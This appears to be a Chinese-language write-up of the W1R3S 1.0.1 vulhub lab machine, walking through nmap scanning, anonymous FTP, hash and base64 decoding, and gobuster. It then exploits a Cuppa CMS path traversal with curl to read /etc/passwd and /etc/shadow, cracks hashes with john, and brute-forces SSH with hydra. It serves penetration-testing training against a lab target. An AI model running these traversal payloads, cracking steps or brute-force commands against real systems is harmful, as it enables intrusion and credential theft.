W1R3S--打靶笔记
打靶萌新,跟着红队笔记的视频做下来的:【「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈。】
vulhub开源靶机w1r3s。此靶机不涉及提权。
文章代码块内出现的转义不影响,点击代码块右上方的复制,即可复制正常代码。
主机发现
在靶机启动前后各进行一次nmap扫描,可以发现,新增一台192.168.9.144,初步判定为靶机
nmap -sn 192.168.9.0/24
端口扫描
端口开放扫描
缩窄后续扫描范围
nmap -sT --min-rate 10000 -p- 192.168.9.144 -oA nmap/ports
# 用tcp简单扫描,获取开放端口
提取开放端口,方便之后扫描使用(当开放端口很多的时候,不能够手动输入吧!)
grep open nmap/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
把提取出的端口号赋值给$ports
,方便之后使用
ports=$(grep open nmap/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
详细信息扫描
用tcp具体扫描端口,最重也是最重要的扫描。最小权限原则,需要sudo的时候再使用
sudo nmap -sT -sV -sC -O -p$ports 192.168.9.144 -oA nmap/detail
udp扫描
以防万一进行一下udp扫描
sudo nmap -sU --top-ports 20 192.168.9.144 -oA nmap/udp
漏洞脚本扫描
对开放的tcp端口进行漏洞扫描
nmap --script=vuln -p$ports 192.168.9.144 -oA nmap/vuln
攻击
有四个攻击面:ftp,ssh,80http,mysql
此时需根据经验判断攻击顺序:先ftp,因为前面有看到ftp可以匿名登录;再80http服务。另外两个暂时没有信息放后,毕竟暴力破解最没有水平。但如果其他方向都走不通,也是可以尝试的。
ftp
登录
nmap详细信息扫描时,有提到可以匿名登录。ftp匿名登录的用户名anonymous
,密码为空
ftp登录服务器。
切换二进制模式
先切换二进制模式,防止下载下来的文件不可用(好习惯)
binary
下载文件
有三个文件夹,都薅下来!
当有大量文件需要下载时,可先执行prompt
,关闭交互式的提示(不用下载每个文件都问你),方便批量下载
prompt
mget *.txt
其他两个文件夹同理。
查看文件
也不多,就五个,把文件一次性都读出来看看
cat *.txt
有一段看不太清楚,单独看眼
md5(识别和解密)
一点一点来看嗷,第一个:
有经验的一眼md5,但如果你不知道,可以用hash-identifier
来识别
至于破解:john或者在线网站都行
john能不能破解看运气。在线网站就是,一个个尝试,没有别的方法。
This is not a password
解出明文,以防万一校验一下
base64(识别和解密)
第二块
一眼base64,打ctf经常遇到。这里贴一个其他师傅分享的base64特点。
base64在线解密可多,随便找一个都可
还是尽量习惯本机上的加解密!
echo 'SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==' | base64 -d
人员信息
这玩意很有可能有用,遇到时一定要注意!
搜索能力
第四块
一眼左右颠倒,上下颠倒的。虽然不道怎么做到的,但是搜索引擎,启动!
好吧......不是这条路。
mysql尝试
直接登录+空密码试试
mysql -h 192.168.9.144 -u root -p
ok不对,那暂时没有办法深入
80http(拿到flag)
先用浏览器访问一下界面,并查看源码,尝试找到信息:失败
目录爆破
sudo gobuster dir -u http://192.168.9.144 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
有三个界面:最熟悉的肯定是wordpress,优先尝试从这里找到突破口;不行转向cuppa cms
wordpress
登录界面没法下手,没有账户密码信息。
其他wordpress界面都会跳转到https://localhost/xxx/
,很奇怪,不道怎么搞。
选择暂时放弃,看下一个攻击面
cuppa cms(拿到flag)
安装界面
安装界面,只能next
这里有个独特的地方:database拼错了。
在实战中,可以利用这些独特的地方去定位这一步操作,从而知道点next会发生什么。
填完表格后点next
只能点back,跳转回上一步了。
这里安装是安装了,但是管理用户没有创建。
看看这个cms有无公开漏洞能利用的。
漏洞搜索
searchsploit cuppa cms
searchsploit cuppa
Exploit-DB是kali这家公司的另一个产品,一个漏洞库。
SearchSploit可以在本地镜像的Exploit-DB中搜索公开漏洞。
searchsploit cuppa -m 25971
# 下载漏洞说明文件
这块是说明文件中,讲漏洞利用的部分。试试。因为安装路径不知道,所以只能试:
http://192.168.9.144/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://192.168.9.144/administrator/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://192.168.9.144/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
终于有反应了!但只有一点。
这里有很多种可能,比如编码问题,比如实际是用post处理参数的:可以通过源码审计去确认这个漏洞的具体利用。虽然不能拿到服务器的源码,但可以通过官方或者非官方的渠道拿到源码(官方的版本一般较新,如果是老版本可能需要在其他平台上下载)
知道是post传参后,就有很多方法了。这里学个新的:用curl
curl传参
curl http://192.168.9.144/administrator/alerts/alertConfigField.php --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd'
第二行都是x,说明密码在shadow文件中。
再通过文件包含访问shadow文件
把有hash的账号粘出来,交给john破解
账号登陆(拿到flag)
一般情况下,www-data都会是低权限用户,w1r3s大概率权限更高
所以先尝试w1r3s账号远程登陆
sudo ssh w1r3s@192.168.9.144
# 密码computer
简单信息查看
发现三个all,那w1r3s几乎等同于root
启动新bash会话
确认靶机信息
查看flag
ssh(思路补充)
hydra -L username.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.9.144 -t 4
这个用户字典需要构造。一般来说,用户名都是小写。构造信息来自于ftp的信息泄露
爆破成功
指令详解
nmap
nmap -sn 10.10.10.0/24 #扫描存活主机
-sn:发送四项请求
nmap -sT --min-rate 10000 -p- 10.10.10.21 -oA nmapscan/ports #扫描端口
-sT:通过发送完整的TCP请求检测端口
--min-rate:设置线程
-p:指定扫描端口
-p-:简单指定扫描端口,即1-65535
-oA:输出全部格式
grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',' #提取出开放端口
grep open nmapscan/ports.nmap:打印出nmapscan/ports.nmap文件中带有'open'的行
awk -F'/' '{print $1}':以'/'作为分割,打印出第一列数据
paste -sd ',':用','做分割,合并成一行
ports = $(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',') #给ports赋值
nmap -sT -sV -sC -O -p$ports 10.10.10.21 -oA nmapscan/detail
输入到$ports时,按tab键可以输出变量的值
-sV:探测端口服务版本
-sC:使用默认脚本
-O:探测操作系统
nmap -sU --top-ports 20 10.10.10.21 -oA nmapscan/udp
-sU:进行udp扫描
--top-ports:指定扫描top-ports 20的端口
nmap --script=vuln -p$ports 10.10.10.21 -oA nmapscan/vuln
--script=vuln:漏洞扫描。vuln是默认漏洞脚本目录。
如果以上扫描都进行后,仍未发现攻击面,可尝试ipv6地址
ftp
ftp #进入交互式shell
open 10.10.10.21 #连接这个服务器
ftp 10.10.10.21 #直接登陆
ascii #切换到ascii模式
binary #切换到二进制模式(发图片视频等),最好一进入就切换到二进制模式,防止下载下来的文件不可使用
? #查看可使用的命令
prompt #关闭交互式的提示,便于一次性下载多个文件
get download.txt #下载文件
mget download1.txt download2.txt #一次性下载多个文件
put upload.txt #上传文件
mput upload1.txt upload2.txt #一次性上传多个文件
Hydra
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.21 -t 4
-L:指定username字典
-P:指定passwd字典。rockyou字典在国外环境下很好用
-t:指定线程